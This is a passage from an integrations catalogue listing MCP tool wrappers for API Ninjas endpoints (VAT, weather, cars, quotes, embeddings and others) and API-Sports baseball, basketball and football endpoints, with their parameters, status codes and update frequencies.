a specified EU country. Results include standard rate, reduced rates, super-reduced rates, and any special categories. Standard rates are available to all users. Rate values for all other rate types (reduced, super-reduced, exempted, parking) are available to premium subscribers only — free accounts still see these entries, but the rate field contains a premium-only notice instead of the numeric rate. By default up to 5 results are returned. Use the limit and offset parameters to paginate through results. via GET /v1/vat GET /api/v1/apininjas/v1/vat. Scopes: api. apininjas_get_v1_vatvalidation (read) — Validates a VAT number from any of the 27 EU member states or Northern Ireland ( XI ). Format and checksum validation, registry status, and cached answers are available to all users. To obtain a consultation_number — the official EU record proving you checked a customer, required as audit evidence when zero-rating intra-EU B2B sales — pass your own company's VAT number in the requester_vat parameter. via GET /v1/vatvalidation GET /api/v1/apininjas/v1/vatvalidation. Scopes: api. apininjas_get_v1_vinlookup (read) — Returns key vehicle information including manufacturer, country of origin, and model year for a given VIN. via GET /v1/vinlookup GET /api/v1/apininjas/v1/vinlookup. Scopes: api. apininjas_get_v1_weather (read) — Get current weather, wind speed and direction, humidity, and temperature data by city, ZIP code, or geolocation coordinates (latitude/longitude). One of the following parameter combinations must be provided: lat and lon city , state (optional), and country (optional) via GET /v1/weather GET /api/v1/apininjas/v1/weather. Scopes: api. apininjas_get_v1_weatherforecast (read) — Returns a 5-day weather forecast in 3-hour intervals for a given city. One of the following parameter combinations must be provided: via GET /v1/weatherforecast GET /api/v1/apininjas/v1/weatherforecast. Scopes: api. apininjas_get_v1_webpage (read) — Returns the URL information and web page metadata from a given URL. via GET /v1/webpage GET /api/v1/apininjas/v1/webpage. Scopes: api. apininjas_get_v1_webscraper (read) — Returns the HTML or plaintext data scraped from a given URL. Maximum size of data returned is 2MB . via GET /v1/webscraper GET /api/v1/apininjas/v1/webscraper. Scopes: api. apininjas_get_v1_whois (read) — Returns domain registration details (e.g. registrar, contact information, expiration date, name servers) for a given domain name. via GET /v1/whois GET /api/v1/apininjas/v1/whois. Scopes: api. apininjas_get_v1_workingdays (read) — Returns a list of working days and non-working days for a given country and year/month. To check if a specific date is a working day, use the /v1/isworkingday endpoint instead. via GET /v1/workingdays GET /api/v1/apininjas/v1/workingdays. Scopes: api. apininjas_get_v1_worldtime (read) — Get the current date and time by city/state/country, location coordinates (latitude/longitude), or timezone. One of the following parameter combinations must be provided: timezone lat and lon city (optionally with state and/or country ) via GET /v1/worldtime GET /api/v1/apininjas/v1/worldtime. Scopes: api. apininjas_get_v1_zipcode (read) — Returns a list of ZIP Code details matching the input parameters. At least one of the following parameters must be set: via GET /v1/zipcode GET /api/v1/apininjas/v1/zipcode. Scopes: api. apininjas_get_v2_bin (read) — Returns detailed information about a bank based on the BIN number provided. via GET /v2/bin GET /api/v1/apininjas/v2/bin. Scopes: api. apininjas_get_v2_carfacets (read) — Returns the available values and counts for each dimension, narrowed by whatever is already selected. Available on every plan, including Free. This builds every dependent dropdown in one request rather than one request per level: ask for the facets you need, and pass the user's current selection to narrow the rest. via GET /v2/carfacets GET /api/v1/apininjas/v2/carfacets. Scopes: api. apininjas_get_v2_cargenerations (read) — Requires an API Ninjas Business or Professional plan. Lists the generations of a model. Useful when you want to browse by generation or chassis code — but optional, since /v2/cars accepts generation and chassis_code directly. One generation often covers several chassis codes. BMW's 2004–2010 3 Series is E90 (saloon), E91 (Touring), E92 (coupé) and E93 (convertible) — one generation, four codes. So chassis_codes lists them all, and passing chassis_code=E91 finds the generation that contains it. via GET /v2/cargenerations GET /api/v1/apininjas/v2/cargenerations. Scopes: api. apininjas_get_v2_carmakes (read) — Requires a paid API Ninjas plan. Lists vehicle manufacturers. via GET /v2/carmakes GET /api/v1/apininjas/v2/carmakes. Scopes: api. apininjas_get_v2_carmodels (read) — Requires a paid API Ninjas plan. Lists the models of one manufacturer. Pass the make as a word — bmw , BMW and Bmw all resolve, as do 3 Series , 3-series and 3series . via GET /v2/carmodels GET /api/v1/apininjas/v2/carmodels. Scopes: api. apininjas_get_v2_cars (read) — Requires a paid API Ninjas plan. The main endpoint. Search all 84,177 cars by any combination of filters, or fetch cars you already know by id . Either way every car comes back with its full specification sheet attached , so there is never a second call to make. There is no hierarchy to walk first — ?body=Wagon&fuel=diesel&min_power_hp=150 works on its own. At least one filter, or an id , is required. The total number of matches comes back in the X-Total-Count response header. via GET /v2/cars GET /api/v1/apininjas/v2/cars. Scopes: api. apininjas_get_v2_earnings (read) — Returns a JSON array of detailed earnings reports, each with comprehensive financial statements and key performance metrics. Query a single company by ticker or cik , or query every company that filed within a date range using date or date_start / date_end . Results are paginated 50 per page via offset . Q1, Q2, and Q3 earnings data are sourced from the 10-Q filings. Q4 earnings data is sourced from the 10-K filings by subtracting the Q1, Q2, and Q3 earnings from the 10-K earnings for income statement fields. Query by company — pass a ticker or cik — or query every company by filing date using date , or date_start / date_end for a range, with no ticker required. With only a ticker (no year or period), all of that company's filings are returned, most recent first. Results are paginated 50 per page — use offset to page through them. via GET /v2/earnings GET /api/v1/apininjas/v2/earnings. Scopes: api. apininjas_get_v2_holidays (read) — Returns a list of holiday entries for a given country and year. Each entry in the response contains the holiday name, date, day of the week, and the type of holiday. via GET /v2/holidays GET /api/v1/apininjas/v2/holidays. Scopes: api. apininjas_get_v2_incometax (read) — Returns comprehensive income tax information including tax brackets and rates at both federal and state/provincial levels (where applicable). via GET /v2/incometax GET /api/v1/apininjas/v2/incometax. Scopes: api. apininjas_get_v2_interestrate (read) — Get a specific interest rate by name. Returns the rate value, name, and last updated timestamp. via GET /v2/interestrate GET /api/v1/apininjas/v2/interestrate. Scopes: api. apininjas_get_v2_interestratehistorical (read) — Returns historical interest rates for specific central banks or benchmark rates using a single rate parameter. You can specify a time range to retrieve data from. Data points are returned oldest first, and the maximum number returned per API call is 100 . When more data is available the response includes a next cursor — pass it back as the page parameter to retrieve the following page. History depth varies by publisher: the US and Canadian prime rates go back to 1990, Japan to 1989 and Brazil to 2011, while South Africa, China and Malaysia start from when we began collecting them, since their publishers only serve current values. via GET /v2/interestratehistorical GET /api/v1/apininjas/v2/interestratehistorical. Scopes: api. apininjas_get_v2_mortgagerate (read) — Returns the daily 30-year and 15-year fixed-rate mortgage (FRM) data. If no parameters are set, the mortgage rate data for the most recent day is returned. via GET /v2/mortgagerate GET /api/v1/apininjas/v2/mortgagerate. Scopes: api. apininjas_get_v2_quoteauthors (read) — Requires an annual API Ninjas subscription. Returns a list of authors who have at least 2 aphoristic quotes in the database. Authors are sorted by the number of quotes (descending) and then alphabetically by name. Default returns 100 authors (maximum 500 per request). via GET /v2/quoteauthors GET /api/v1/apininjas/v2/quoteauthors. Scopes: api. apininjas_get_v2_quoteoftheday (read) — Returns a single aphoristic quote for the current day. The same pre-vetted, high-quality quote is returned for all requests on the same day, and changes each day. Perfect for displaying on your website or app. No filtering parameters are available for this endpoint to ensure everyone sees the same quote of the day. via GET /v2/quoteoftheday GET /api/v1/apininjas/v2/quoteoftheday. Scopes: api. apininjas_get_v2_quotes (read) — Returns high-quality quotes with advanced filtering by categories (include/exclude), author, work, and pagination support. Returns quotes in deterministic order. For random quotes, use /v2/randomquotes or /v2/quoteoftheday . The following categories are available: wisdom philosophy life truth inspirational relationships love faith humor success courage happiness art writing fear nature time freedom death leadership via GET /v2/quotes GET /api/v1/apininjas/v2/quotes. Scopes: api. apininjas_get_v2_randomquotes (read) — Returns random high-quality quotes with advanced filtering by categories (include/exclude), author, and work. Each request returns different random quotes. The categories available are the same as for /v2/quotes . via GET /v2/randomquotes GET /api/v1/apininjas/v2/randomquotes. Scopes: api. apininjas_get_v2_randomuser (read) — Returns fake random user profiles. Supports customizable fields, filtering, and localization. via GET /v2/randomuser GET /api/v1/apininjas/v2/randomuser. Scopes: api. apininjas_get_v2_randomword (read) — Returns a random word. via GET /v2/randomword GET /api/v1/apininjas/v2/randomword. Scopes: api. apininjas_get_v2_useragentparse (read) — Parses a user agent string to extract device, operating system, and browser information. All response fields are top-level. Invalid or unrecognized user agents return HTTP 200 with is_valid: false and invalid_reason set; data fields are null in that case. via GET /v2/useragentparse GET /api/v1/apininjas/v2/useragentparse. Scopes: api. apininjas_get_v3_recipe (read) — Get a list of recipes for a given recipe name or ingredient(s). Returns a list of recipes. To access more results, use the limit parameter to limit the number of results and the offset parameter to offset results for pagination in multiple API calls. Either title or ingredients parameter must be provided. via GET /v3/recipe GET /api/v1/apininjas/v3/recipe. Scopes: api. apininjas_post_v1_embeddings (write) — Returns a 768-dimensional vector as an array that encodes the meaning of any given input text. via POST /v1/embeddings POST /api/v1/apininjas/v1/embeddings. Scopes: api. apininjas_post_v1_textsimilarity (write) — Returns a similarity score between 0 and 1 (1 is similar and 0 is dissimilar) of two given texts. via POST /v1/textsimilarity POST /api/v1/apininjas/v1/textsimilarity. Scopes: api. ================================================================================ ## API-Sports URL: https://www.agenticfabriq.com/integrations/apisports Section: Integrated Tools API-Sports — 114 MCP tools Provider key: apisports. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apisports_baseball_get_countries (read) — Get the list of available countries. The `name` and `code` fields can be used in other endpoints as filters. > All the parameters of this endpoint can be used together. via GET https://v1.baseball.api-sports.io/countries GET /api/v1/apisports/baseball/countries. Scopes: api. apisports_baseball_get_games (read) — For all requests to games you can add the query parameter `timezone` to your request in order to retrieve the list of games in the time zone of your choice like *“Europe/London“* To know the list of available time zones you have to use the endpoint timezone **Available status** * NS : Not Started * IN1 : Inning 1 (In Play) * IN2 : Inning 2 (In Play) * IN3 : Inning 3 (In Play) * IN4 : Inning 4 (In Play) * IN5 : Inning 5 (In Play) * IN6 : Inning 6 (In Play) * IN7 : Inning 7 (In Play) * IN8 : Inning 8 (In Play) * IN9 : Inning 9 (In Play) * POST : Postponed * CANC : Cancelled * INTR : Interrupted * ABD : Abandoned * FT : Finished (Game Finished) > Games are updated every 15 seconds > **This endpoint requires at least one parameter.** via GET https://v1.baseball.api-sports.io/games GET /api/v1/apisports/baseball/games. Scopes: api. apisports_baseball_get_games_h2h (read) — Get heads to heads between two teams. via GET https://v1.baseball.api-sports.io/games/h2h GET /api/v1/apisports/baseball/games/h2h. Scopes: api. apisports_baseball_get_leagues (read) — Get the list of available leagues and cups. The league `id` are **unique** in the API and leagues keep it across all `seasons` > You can find all the leagues ids on our [Dashboard](https://dashboard.api-football.com/baseball/ids). > Most of the parameters of this endpoint can be used together. via GET https://v1.baseball.api-sports.io/leagues GET /api/v1/apisports/baseball/leagues. Scopes: api. apisports_baseball_get_odds (read) — Get odds from games or leagues. We provide pre-match odds between 1 and 7 days before the game. We keep a 7-day history *(The availability of odds may vary according to the leagues, seasons, games and bookmakers)* > Odds are updated once a day via GET https://v1.baseball.api-sports.io/odds GET /api/v1/apisports/baseball/odds. Scopes: api. apisports_baseball_get_odds_bets (read) — Get all available bets. All bets `id` can be used in endpoint odds as filters via GET https://v1.baseball.api-sports.io/odds/bets GET /api/v1/apisports/baseball/odds/bets. Scopes: api. apisports_baseball_get_odds_bookmakers (read) — Get all available bookmakers. All bookmakers `id` can be used in endpoint odds as filters. via GET https://v1.baseball.api-sports.io/odds/bookmakers GET /api/v1/apisports/baseball/odds/bookmakers. Scopes: api. apisports_baseball_get_seasons (read) — All seasons are only **4-digit keys**, so for a league whose season is `2018-2019` the season in the API will be `2018`. All `seasons` can be used in other endpoints as filters. > This endpoint does not require any parameters. via GET https://v1.baseball.api-sports.io/seasons GET /api/v1/apisports/baseball/seasons. Scopes: api. apisports_baseball_get_standings (read) — Get the standings for a league. Return a table of one or more rankings according to the league / cup. Some competitions have several rankings in a year, regular season, pre season etc… To know the list of available stages or groups you have to use the endpoint standings/stages or standings/groups > Standings are updated every hours via GET https://v1.baseball.api-sports.io/standings GET /api/v1/apisports/baseball/standings. Scopes: api. apisports_baseball_get_standings_groups (read) — Get the list of available groups for a league to be used in the standings endpoint. via GET https://v1.baseball.api-sports.io/standings/groups GET /api/v1/apisports/baseball/standings/groups. Scopes: api. apisports_baseball_get_standings_stages (read) — Get the list of available stages for a league to be used in the standings endpoint. via GET https://v1.baseball.api-sports.io/standings/stages GET /api/v1/apisports/baseball/standings/stages. Scopes: api. apisports_baseball_get_teams (read) — Get data about teams. The team `id` are **unique** in the API and teams keep it among all the leagues/cups in which they participate. > You can find all the teams ids on our [Dashboard](https://dashboard.api-football.com/baseball/ids/teams). > **This endpoint requires at least one parameter.** via GET https://v1.baseball.api-sports.io/teams GET /api/v1/apisports/baseball/teams. Scopes: api. apisports_baseball_get_teams_statistics (read) — teams/statistics via GET https://v1.baseball.api-sports.io/teams/statistics GET /api/v1/apisports/baseball/teams/statistics. Scopes: api. apisports_baseball_get_timezone (read) — Get the list of available timezone to be used in the fixtures endpoint. > This endpoint does not require any parameters. via GET https://v1.baseball.api-sports.io/timezone GET /api/v1/apisports/baseball/timezone. Scopes: api. apisports_basketball_get_bets (read) — Get all available bets. All bets `id` can be used in endpoint odds as filters via GET https://v1.basketball.api-sports.io/bets GET /api/v1/apisports/basketball/bets. Scopes: api. apisports_basketball_get_bookmakers (read) — Get all available bookmakers. All bookmakers `id` can be used in endpoint odds as filters. via GET https://v1.basketball.api-sports.io/bookmakers GET /api/v1/apisports/basketball/bookmakers. Scopes: api. apisports_basketball_get_countries (read) — Get the list of available countries. The `id` `name` and `code` fields can be used in other endpoints as filters. > All the parameters of this endpoint can be used together. via GET https://v1.basketball.api-sports.io/countries GET /api/v1/apisports/basketball/countries. Scopes: api. apisports_basketball_get_games (read) — For all requests to games you can add the query parameter `timezone` to your request in order to retrieve the list of games in the time zone of your choice like *“Europe/London“* To know the list of available time zones you have to use the endpoint timezone **Available status** * NS : Not Started * Q1 : Quarter 1 (In Play) * Q2 : Quarter 2 (In Play) * Q3 : Quarter 3 (In Play) * Q4 : Quarter 4 (In Play) * OT : Over Time (In Play) * BT : Break Time (In Play) * HT : Halftime (In Play) * FT : Game Finished (Game Finished) * AOT : After Over Time (Game Finished) * POST : Game Postponed * CANC : Game Cancelled * SUSP : Game Suspended * AWD : Game Awarded * ABD : Game Abandoned > Games are updated every 15 seconds > **This endpoint requires at least one parameter.** via GET https://v1.basketball.api-sports.io/games GET /api/v1/apisports/basketball/games. Scopes: api. apisports_basketball_get_games_h2h (read) — Get heads to heads between two teams. via GET https://v1.basketball.api-sports.io/games/h2h GET /api/v1/apisports/basketball/games/h2h. Scopes: api. apisports_basketball_get_games_statistics_players (read) — Get players statistics from one or several games ids. Also possible to get all statistics from a player `id` and a `season`. > Statistics are updated every 30-120 seconds > **This endpoint need at least one parameter.** via GET https://v1.basketball.api-sports.io/games/statistics/players GET /api/v1/apisports/basketball/games/statistics/players. Scopes: api. apisports_basketball_get_games_statistics_teams (read) — Get teams statistics from one or several games ids. > Statistics are updated every 30-120 seconds > **This endpoint need at least one parameter.** via GET https://v1.basketball.api-sports.io/games/statistics/teams GET /api/v1/apisports/basketball/games/statistics/teams. Scopes: api. apisports_basketball_get_leagues (read) — Get the list of available leagues and cups. The league `id` are **unique** in the API and leagues keep it across all `seasons` This endpoint also returns the `coverage` of each competition, which makes it possible to know what is available for leagues or cups. The values returned by the coverage indicate the data available at the moment you call the API, so for a competition that has not yet started, it is normal to have all the features set to False. This will be updated once the competition has started. The coverage of a competition can vary from season to season and values set to `True` do not guarantee **100%** data availability. > You can find all the leagues ids on our [Dashboard](https://dashboard.api-football.com/basketball/ids). > Most of the parameters of this endpoint can be used together. via GET https://v1.basketball.api-sports.io/leagues GET /api/v1/apisports/basketball/leagues. Scopes: api. apisports_basketball_get_odds (read) — Get odds from games or leagues. We provide pre-match odds between 1 and 7 days before the game. We keep a 7-day history *(The availability of odds may vary according to the leagues, seasons, games and bookmakers)* > Odds are updated once a day via GET https://v1.basketball.api-sports.io/odds GET /api/v1/apisports/basketball/odds. Scopes: api. apisports_basketball_get_players (read) — Get data about players. The players `id` are **unique** in the API and players keep it among all the leagues/cups in which they participate. > **This endpoint requires at least one parameter.** via GET https://v1.basketball.api-sports.io/players GET /api/v1/apisports/basketball/players. Scopes: api. apisports_basketball_get_seasons (read) — All `seasons` can be used in other endpoints as filters. > This endpoint does not require any parameters. via GET https://v1.basketball.api-sports.io/seasons GET /api/v1/apisports/basketball/seasons. Scopes: api. apisports_basketball_get_standings (read) — Get the standings for a league. Return a table of one or more rankings according to the league / cup. Some competitions have several rankings in a year, regular season, pre season etc… To know the list of available stages or groups you have to use the endpoint standings/stages or standings/groups > Standings are updated every hours via GET https://v1.basketball.api-sports.io/standings GET /api/v1/apisports/basketball/standings. Scopes: api. apisports_basketball_get_standings_groups (read) — Get the list of available groups for a league to be used in the standings endpoint. via GET https://v1.basketball.api-sports.io/standings/groups GET /api/v1/apisports/basketball/standings/groups. Scopes: api. apisports_basketball_get_standings_stages (read) — Get the list of available stages for a league to be used in the standings endpoint. via GET https://v1.basketball.api-sports.io/standings/stages GET /api/v1/apisports/basketball/standings/stages. Scopes: api. apisports_basketball_get_statistics (read) — statistics via GET https://v1.basketball.api-sports.io/statistics GET /api/v1/apisports/basketball/statistics. Scopes: api. apisports_basketball_get_teams (read) — Get data about teams. The team `id` are **unique** in the API and teams keep it among all the leagues/cups in which they participate. > You can find all the teams ids on our [Dashboard](https://dashboard.api-football.com/basketball/ids/teams). > **This endpoint requires at least one parameter.** via GET https://v1.basketball.api-sports.io/teams GET /api/v1/apisports/basketball/teams. Scopes: api. apisports_basketball_get_timezone (read) — Get the list of available timezone to be used in the games endpoint. > This endpoint does not require any parameters. via GET https://v1.basketball.api-sports.io/timezone GET /api/v1/apisports/basketball/timezone. Scopes: api. apisports_football_get_coachs (read) — Get all the information about the coachs and their careers. To get the photo of a coach you have to call the following url: `https://media.api-sports.io/football/coachs/{coach_id}.png` **Update Frequency** : This endpoint is updated every day. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/coachs GET /api/v1/apisports/football/coachs. Scopes: api. apisports_football_get_countries (read) — Get the list of available countries for the `leagues` endpoint. The `name` and `code` fields can be used in other endpoints as filters. To get the flag of a country you have to call the following url: `https://media.api-sports.io/flags/{country_code}.svg` > Examples available in Request samples "Use Cases". All the parameters of this endpoint can be used together. **Update Frequency** : This endpoint is updated each time a new league from a country not covered by the API is added. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/countries GET /api/v1/apisports/football/countries. Scopes: api. apisports_football_get_fixtures (read) — For all requests to fixtures you can add the query parameter `timezone` to your request in order to retrieve the list of matches in the time zone of your choice like *“Europe/London“* To know the list of available time zones you have to use the endpoint timezone. **Available fixtures status** | SHORT | LONG | TYPE | DESCRIPTION | | -------| --------------------------------| -----------|-------------------------------------------------------------------------------------------------------------------------------------------------------| | TBD | Time To Be Defined | Scheduled | Scheduled but date and time are not known | | NS | Not Started | Scheduled | | | 1H | First Half, Kick Off | In Play | First half in play | | HT | Halftime | In Play | Finished in the regular time | | 2H | Second Half, 2nd Half Started | In Play | Second half in play | | ET | Extra Time | In Play | Extra time in play | | BT | Break Time | In Play | Break during extra time | | P | Penalty In Progress | In Play | Penaly played after extra time | | SUSP | Match Suspended | In Play | Suspended by referee's decision, may be rescheduled another day | | INT | Match Interrupted | In Play | Interrupted by referee's decision, should resume in a few minutes | | FT | Match Finished | Finished | Finished in the regular time | | AET | Match Finished | Finished | Finished after extra time without going to the penalty shootout | | PEN | Match Finished | Finished | Finished after the penalty shootout | | PST | Match Postponed | Postponed | Postponed to another day, once the new date and time is known the status will change to Not Started | | CANC | Match Cancelled | Cancelled | Cancelled, match will not be played | | ABD | Match Abandoned | Abandoned | Abandoned for various reasons (Bad Weather, Safety, Floodlights, Playing Staff Or Referees), Can be rescheduled or not, it depends on the competition | | AWD | Technical Loss | Not Played | | | WO | WalkOver | Not Played | Victory by forfeit or absence of competitor | | LIVE | In Progress | In Play | Used in very rare cases. It indicates a fixture in progress but the data indicating the half-time or elapsed time are not available | Fixtures with the status `TBD` may indicate an incorrect fixture date or time because the fixture date or time is not yet known or final. Fixtures with this status are checked and updated daily. The same applies to fixtures with the status `PST`, `CANC`. The fixtures ids are unique and specific to each fixture. In no case an `ID` will change. Not all competitions have livescore available and only have `final result`. In this case, the status remains in `NS` and will be updated in the minutes/hours following the match (this can take up to 48 hours, depending on the competition). > Although the data is updated every 15 seconds, depending on the competition there may be a delay between reality and the availability of data in the API. **Update Frequency** : This endpoint is updated every 15 seconds. **Recommended Calls** : 1 call per minute for the leagues, teams, fixtures who have at least one fixture in progress otherwise 1 call per day. > Here are several examples of what can be achieved ![demo-fixtures](https://www.api-football.com/public/img/demo/demo-fixtures.jpg) via GET https://v3.football.api-sports.io/fixtures GET /api/v1/apisports/football/fixtures. Scopes: api. apisports_football_get_fixtures_events (read) — Get the events from a fixture. **Available events** | TYPE | | | | | | ----------- | ------------- | --------- |-------- |-------- | | Goal | Normal Goal | Own Goal | Penalty | Missed Penalty | | Card | Yellow Card | Red card | | | | Subst | Substitution [1, 2, 3...] | | | | | Var | Goal cancelled | Penalty confirmed | | | * *VAR events are available from the 2020-2021 season.* **Update Frequency** : This endpoint is updated every 15 seconds. **Recommended Calls** : 1 call per minute for the fixtures in progress otherwise 1 call per day. You can also retrieve all the events of the fixtures in progress with to the endpoint `fixtures?live=all` > Here is an example of what can be achieved ![demo-events](https://www.api-football.com/public/img/demo/demo-events.png) via GET https://v3.football.api-sports.io/fixtures/events GET /api/v1/apisports/football/fixtures/events. Scopes: api. apisports_football_get_fixtures_headtohead (read) — Get heads to heads between two teams. **Update Frequency** : This endpoint is updated every 15 seconds. **Recommended Calls** : 1 call per minute for the leagues, teams, fixtures who have at least one fixture in progress otherwise 1 call per day. > Here is an example of what can be achieved ![demo-h2h](https://www.api-football.com/public/img/demo/demo-h2h.png) via GET https://v3.football.api-sports.io/fixtures/headtohead GET /api/v1/apisports/football/fixtures/headtohead. Scopes: api. apisports_football_get_fixtures_lineups (read) — Get the lineups for a fixture. Lineups are available between 20 and 40 minutes before the fixture when the competition covers this feature. You can check this with the endpoint `leagues` and the `coverage` field. > It's possible that for some competitions the lineups are not available before the fixture, in this case, they are updated and available after the match with a variable delay depending on the competition. **Available datas** * Formation * Coach * Start XI * Substitutes **Players' positions on the grid `*`** **X** = row and **Y** = column (X:Y) Line 1 **X** being the one of the goal and then for each line this number is incremented. The column **Y** will go from left to right, and incremented for each player of the line. `* As a new feature, some irregularities may occur, do not hesitate to report them on our public Roadmap` **Update Frequency** : This endpoint is updated every 15 minutes. **Recommended Calls** : 1 call every 15 minutes for the fixtures in progress otherwise 1 call per day. > Here are several examples of what can be done ![demo-lineups](https://www.api-football.com/public/img/demo/demo-lineups-1.jpg) ![demo-lineups](https://www.api-football.com/public/img/demo/demo-lineups.png) via GET https://v3.football.api-sports.io/fixtures/lineups GET /api/v1/apisports/football/fixtures/lineups. Scopes: api. apisports_football_get_fixtures_players (read) — Get the players statistics from one fixture. **Update Frequency** : This endpoint is updated every minute. **Recommended Calls** : 1 call every minute for the fixtures in progress otherwise 1 call per day. via GET https://v3.football.api-sports.io/fixtures/players GET /api/v1/apisports/football/fixtures/players. Scopes: api. apisports_football_get_fixtures_rounds (read) — Get the rounds for a league or a cup. The `round` can be used in endpoint fixtures as filters > Examples available in Request samples "Use Cases". **Update Frequency** : This endpoint is updated every day. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/fixtures/rounds GET /api/v1/apisports/football/fixtures/rounds. Scopes: api. apisports_football_get_fixtures_statistics (read) — Get the statistics for one fixture. **Available statistics** * Shots on Goal * Shots off Goal * Shots insidebox * Shots outsidebox * Total Shots * Blocked Shots * Fouls * Corner Kicks * Offsides * Ball Possession * Yellow Cards * Red Cards * Goalkeeper Saves * Total passes * Passes accurate * Passes % **Update Frequency** : This endpoint is updated every minute. **Recommended Calls** : 1 call every minute for the teams or fixtures who have at least one fixture in progress otherwise 1 call per day. > Here is an example of what can be achieved ![demo-statistics](https://www.api-football.com/public/img/demo/demo-statistics.png) via GET https://v3.football.api-sports.io/fixtures/statistics GET /api/v1/apisports/football/fixtures/statistics. Scopes: api. apisports_football_get_injuries (read) — Get the list of players not participating in the fixtures for various reasons such as `suspended`, `injured` for example. Being a new endpoint, the data is only available from April 2021. **There are two types:** * `Missing Fixture` : The player will not play the fixture. * `Questionable` : The information is not yet 100% sure, the player may eventually play the fixture. > Examples available in Request samples "Use Cases". > All the parameters of this endpoint can be used together. **This endpoint requires at least one parameter.** **Update Frequency** : This endpoint is updated every 4 hours. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/injuries GET /api/v1/apisports/football/injuries. Scopes: api. apisports_football_get_leagues (read) — Get the list of available leagues and cups. The league `id` are **unique** in the API and leagues keep it across all `seasons` To get the logo of a competition you have to call the following url: `https://media.api-sports.io/football/leagues/{league_id}.png` This endpoint also returns the `coverage` of each competition, which makes it possible to know what is available for that league or cup. The values returned by the coverage indicate the **data available at the moment** you call the API, so for a competition that has not yet started, it is normal to have all the features set to `False`. This will be updated once the competition has started. > You can find all the leagues ids on our [Dashboard](https://dashboard.api-football.com/soccer/ids). **Example :** ``` "coverage": { "fixtures": { "events": true, "lineups": true, "statistics_fixtures": false, "statistics_players": false }, "standings": true, "players": true, "top_scorers": true, "top_assists": true, "top_cards": true, "injuries": true, "predictions": true, "odds": false } ``` In this example we can deduce that the competition does not have the following features: `statistics_fixtures`, `statistics_players`, `odds` because it is set to `False`. The coverage of a competition can vary from season to season and values set to `True` do not guarantee 100% data availability. Some competitions, such as the `friendlies`, are exceptions to the coverage indicated in the `leagues` endpoint, and the data available may differ depending on the match, including livescore, events, lineups, statistics and players. Competitions are automatically renewed by the API when a new season is available. There may be a delay between the announcement of the official calendar and the availability of data in the API. For `Cup` competitions, fixtures are automatically added when the two participating teams are known. For example if the current phase is the 8th final, the quarter final will be added once the teams playing this phase are known. > Examples available in Request samples "Use Cases". > Most of the parameters of this endpoint can be used together. **Update Frequency** : This endpoint is updated several times a day. **Recommended Calls** : 1 call per hour. via GET https://v3.football.api-sports.io/leagues GET /api/v1/apisports/football/leagues. Scopes: api. apisports_football_get_leagues_seasons (read) — Get the list of available seasons. All seasons are only **4-digit keys**, so for a league whose season is `2018-2019` like the English Premier League (EPL), the `2018-2019` season in the API will be `2018`. All `seasons` can be used in other endpoints as filters. > This endpoint does not require any parameters. **Update Frequency** : This endpoint is updated each time a new league is added. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/leagues/seasons GET /api/v1/apisports/football/leagues/seasons. Scopes: api. apisports_football_get_odds (read) — Get odds from fixtures, leagues or date. This endpoint uses a **pagination system**, you can navigate between the different pages with to the `page` parameter. > **Pagination** : 10 results per page. We provide pre-match odds between 1 and 14 days before the fixture. We keep a 7-days history *(The availability of odds may vary according to the leagues, seasons, fixtures and bookmakers)* **Update Frequency** : This endpoint is updated every 3 hours. **Recommended Calls** : 1 call every 3 hours. via GET https://v3.football.api-sports.io/odds GET /api/v1/apisports/football/odds. Scopes: api. apisports_football_get_odds_bets (read) — Get all available bets for pre-match odds. All bets `id` can be used in endpoint odds as filters, **but are not compatible with endpoint `odds/live` for in-play odds**. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/odds/bets GET /api/v1/apisports/football/odds/bets. Scopes: api. apisports_football_get_odds_bookmakers (read) — Get all available bookmakers. All bookmakers `id` can be used in endpoint odds as filters. **Update Frequency** : This endpoint is updated several times a week. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/odds/bookmakers GET /api/v1/apisports/football/odds/bookmakers. Scopes: api. apisports_football_get_odds_live (read) — This endpoint returns in-play odds for fixtures in progress. Fixtures are added between 15 and 5 minutes before the start of the fixture. Once the fixture is over they are removed from the endpoint between 5 and 20 minutes. **No history is stored**. So fixtures that are about to start, fixtures in progress and fixtures that have just ended are available in this endpoint. **Update Frequency** : This endpoint is updated every 5 seconds.`*` `* This value can change in the range of 5 to 60 seconds` **INFORMATIONS ABOUT STATUS** ``` "status": { "stopped": false, // True if the fixture is stopped by the referee for X reason "blocked": false, // True if bets on this fixture are temporarily blocked "finished": false // True if the fixture has not started or if it is finished }, ``` **INFORMATIONS ABOUT VALUES** When several identical values exist for the same bet the `main` field is set to `True` for the bet being considered, the others will have the value `False`. The `main` field will be set to `True` only if several identical values exist for the same bet. When a value is unique for a bet the `main` value will always be `False` or `null`. **Example below** : ``` "id": 36, "name": "Over/Under Line", "values": [ { "value": "Over", "odd": "1.975", "handicap": "2", "main": true, // Bet to consider "suspended": false // True if this bet is temporarily suspended }, { "value": "Over", "odd": "3.45", "handicap": "2", "main": false, // Bet to no consider "suspended": false }, ] ``` via GET https://v3.football.api-sports.io/odds/live GET /api/v1/apisports/football/odds/live. Scopes: api. apisports_football_get_odds_live_bets (read) — Get all available bets for in-play odds. All bets `id` can be used in endpoint `odds/live` as filters, **but are not compatible with endpoint `odds` for pre-match odds**. **Update Frequency** : This endpoint is updated every 60 seconds. via GET https://v3.football.api-sports.io/odds/live/bets GET /api/v1/apisports/football/odds/live/bets. Scopes: api. apisports_football_get_odds_mapping (read) — Get the list of available fixtures `id` for the endpoint odds. All fixtures, leagues `id` and `date` can be used in endpoint odds as filters. This endpoint uses a **pagination system**, you can navigate between the different pages with to the `page` parameter. > **Pagination** : 100 results per page. **Update Frequency** : This endpoint is updated every day. **Recommended Calls** : 1 call per day. via GET https://v3.football.api-sports.io/odds/mapping GET /api/v1/apisports/football/odds/mapping. Scopes: api. apisports_football_get_players 